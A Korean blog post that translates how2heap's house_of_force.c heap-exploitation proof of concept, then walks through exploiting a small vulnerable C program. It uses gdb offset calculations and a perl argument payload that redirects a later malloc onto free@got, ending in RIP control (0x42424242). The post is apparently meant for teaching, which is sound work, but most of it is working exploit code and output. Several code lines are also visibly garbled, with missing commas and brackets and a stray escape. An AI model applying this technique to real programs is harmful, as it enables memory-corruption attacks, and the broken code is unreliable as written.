본문 바로가기

system

[how2heap translation] house_of_force.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
/*
   이 POC 는 ASLR 활성화 된 상태에서도 작동한다.
   GOT 엔트리를 overwrite 하기 때문에 기술을 정확하게 적용하기 위해서 RELRO 를 비활성화해야 한다.
   RELRO 가 활성화 된 경우 Malloc Des Maleficarum 에서 제안한 대로 스택에서 항상 chunk 를 반환할 수 있다. 
   ( http://phrack.org/issues/66/10.html )
   Tested in Ubuntu 14.04, 64bit.
    

 

 * top chunk : Heap 에서 사용가능한 공간을 표현하며, 사이즈가 커질 수 있는 유일한 chunk

 

               어떠한 bin 에 속하지 않으며, heap 영역의 마지막에 위치한다. 
               다른 free chunk 들이 메모리 할당 요청을 만족하지 못하는 경우에만 top chunk 를 분할하여 요청을 처리한다.
               현재 top chunk 크기로도 처리할 수 없는 경우 sbrk() 함수를 통해 heap 영역을 확장하여 top chunk 의 크기를 늘린 후 요청을 처리한다.
*/
 
 
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
 
char bss_var[] = "This is a string that we want to overwrite.";
 
int main(int argc , char* argv[])
{
    printf("\nWelcome to the House of Force\n\n");
    printf("House of Force의 개념은 top chunk 를 덮어쓰고, malloc 이 임의의 값을 반환하도록 하는 것이다.\n");
    printf("top chunk 는 특별한 chunk 이다. 이는 메모리의 마지막에 위치하고, malloc 이 더 많은 공간을 os 에 요청할 때 크기가 재설정된다.\n");
 
    printf("\n끝에서, 우리는 %p 에 존재하는 값을 덮어쓸 것이다.\n", bss_var);
    printf("Its current value is: %s\n", bss_var);
 
 
 
    printf("\n첫 번째 chunk를 할당하고, 넓은 공간을 확보하자.\n");
    intptr_t *p1 = malloc(256);
    printf("256byte chhunk 가 %p 에 할당되었다.\n", p1);
 
    printf("\n이제 힙은 우리가 할당한 chunk 와 top chunk, 2개의 chunk 로 구성된다.\n");
    int real_size = malloc_usable_size(p1);
    printf("할당 된 chunk 의 실제 size 는 %d 이다.\n", real_size);
 
    printf("\n이제 Top Chunk 의 header를 덮어쓸 수 있는 취약점을 에뮬레이팅 해보자.\n");
 
    //----- VULNERABILITY ----
    intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size);
    printf("\ntop chunk 의 시작 주소는 %p 이다.\n", ptr_top);
 
    printf("\ntop chunk 의 크기를 큰 값으로 덮어서 malloc() 이 mmap()을 절대 호출하지 않도록 할 수 있다.\n");
    printf("top chunk 의 원래 size : %#llx\n"*((unsigned long long int *)ptr_top));
    ptr_top[0= -1;
    printf("top chunk 의 새로운 size : %#llx\n"*((unsigned long long int *)ptr_top));
    //------------------------
 
    printf("\n이제 top chunk 의 size 가 최대값이므로 우리는 mmap() 호출하지 않고, malloc() 으로 어떤 크기던 할당할 수 있다.\n"
       "다음으로, 우리는 interger overflow 를 이용해 원하는 메모리 바로 앞까지 chunk 를 할당할 것이다. \n"
       "그러면 이제 우리가 할당한 chunk 는 원하는 메모리로 들어가게 된다.\n");
 
    unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top;
    printf("\n메모리에 할당할 주소는 %p 이고, top chunk 의 주소는 %p, 따라서 header size 를 계산해보면\n"
       "우리는 %#lx bytes 를 할당할 것이다.\n", bss_var, ptr_top, evil_size);
    void *new_ptr = malloc(evil_size);
    printf("예상대로 새로운 pointer 는 원래 top chunk 가 위치한 자리에 할당된다.\n", new_ptr);
 
    void* ctr_chunk = malloc(100);
    printf("\이제 우리가 덮어 쓴 next chunk 는 target buffer 를 가리킬 것이다.\n");
    printf("malloc(100) => %p!\n", ctr_chunk);
    printf("마침내 우리는 값을 덮어쓸 수 있다.\n");
 
    printf("... old string: %s\n", bss_var);
    printf("... strcpy로 \"YEAH!!!\"를 덮는다....\n");
    strcpy(ctr_chunk, "YEAH!!!");
    printf("... new string: %s\n", bss_var);
 
 
    // some further discussion:
    //printf("This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n");
    //printf("This because the main_arena->top pointer is setted to current av->top + malloc_size "
    //    "and we \nwant to set this result to the address of malloc_got_address-8\n\n");
    //printf("In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n");
    //printf("The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n");
    //printf("After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
    //    "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");
 
    //printf("The large chunk with evil_size has been allocated here 0x%08x\n",p2);
    //printf("The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);
 
    //printf("This last malloc will be served from the remainder code and will return the av->top+8 injected before\n");
}
 
cs

House of Force 기법을 사용하기 위해서는 top chunk 를 덮을 수 있어야 하고, 사용자가 size 를 컨트롤할 수 있는 malloc 이 호출되어야 한다. 그리고 한 번 추가적으로 malloc 호출되어야 한다.

이를 통해, malloc() 호출 시 공격자는 원하는 임의의 포인터를 반환받을 수 있다.

 

아래의 간단한 예제 코드를 보자. aslr, nx, relro 등이 설정되지 않도록 컴파일 했다.

 

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {

        char *buf1, *buf2, *buf3;

        buf1 = malloc(256);
        strcpy(buf1, argv[1]);

        buf2 = malloc(strtoul(argv[2], NULL, 16));

        buf3 = malloc(256);
        strcpy(buf3, argv[3]);

        free(buf3);
        free(buf2);
        free(buf1);

        return 0;
}

strcpy(buf1, argv[1]); -> overflow 취약점이 발생하여 top chunk 를 overwrite 할 수 있다.

buf2 = malloc(strtoul(argv[2], NULL, 16)); -> 사용자가 컨트롤할 수 있는 malloc 또한 호출된다.

그리고 추가적으로 buf3 = malloc(256); 이 호출된다.

 

0x601118 주소에 위치한 값은 원래 top chunk 값이 들어가는 부분인데 0xffffffffffffffff 로 overwrite 했다.

이로써 다음 malloc 호출 시 충분히 큰 size 의 malloc 을 호출 할 수 있다.

 

위에서 top chunk 를 덮는 이유이다. av->top 의 값이 victim 변수에 들어가고, size 변수는 victim 만큼의 크기를 가진다.

즉, av->top 을 0xffffffffffffffff 으로 overwrite 함으로써 malloc() 호출 시 충분히 큰 사이즈를 할당할 수 있다.

 

이제 2번째 malloc 의 크기를 컨트롤해야 한다. 이 부분을 통해 3번째 malloc() 호출 시 우리가 원하는 임의의 포인터를 얻을 수 있다.

(gdb) x/x 0x600a38 - 0x10 - 0x601118    // free@got - 0x10(chunk header) - &top chunk

0xfffffffffffff910: Cannot access memory at address 0xfffffffffffff910

 

2번 째 malloc 의 사이즈를 0xfffffffffffff910 로 설정했더니 3번 째 malloc() 호출 시 0x600a40 이 리턴된다. 그래서 사이즈를 다시 조절해서 0xfffffffffffff908 로 설정하니 0x600a30 이 리턴된다. 이런 식으로 약간의 조절을 통해 리턴받을 주소를 조절할 수 있다.

 

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - gdb-peda$ r `perl -e 'print "A"x264, "\xff\xff\xff\xff\xff\xff\xff\xff"'` `perl -e 'print "fffffffffffff908"'` `perl -e 'print "BBBBBBBBBBBB"'`

 

gdb-peda$ x/3i 0x400470
   0x400470 <free@plt>: jmp    QWORD PTR [rip+0x2005c2]        # 0x600a38
   0x400476 <free@plt+6>: push   0x0
   0x40047b <free@plt+11>: jmp    0x400460

 

gdb-peda$ x/40x 0x600a30
0x600a30: 0x4242424242424242 0x0000000042424242

 

Stopped reason: SIGSEGV

0x0000000042424242 in ?? ()
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

결과적으로, 3번 째 malloc() 호출하고 이 공간에 data 를 입력받는다면 free@got 뿐만 아니라 그 외 원하는 주소를 덮어씌울 수도 있다.

'system' 카테고리의 다른 글

[how2heap translation] poison_null_byte.c  (0) 2017.06.19
Disabling Memory Protection on Linux  (0) 2017.05.05
[how2heap translation] house_of_spirit.c  (1) 2017.04.22
c library hook, atexit  (0) 2017.03.29
[how2heap translation] unsafe_unlink.c  (0) 2017.03.03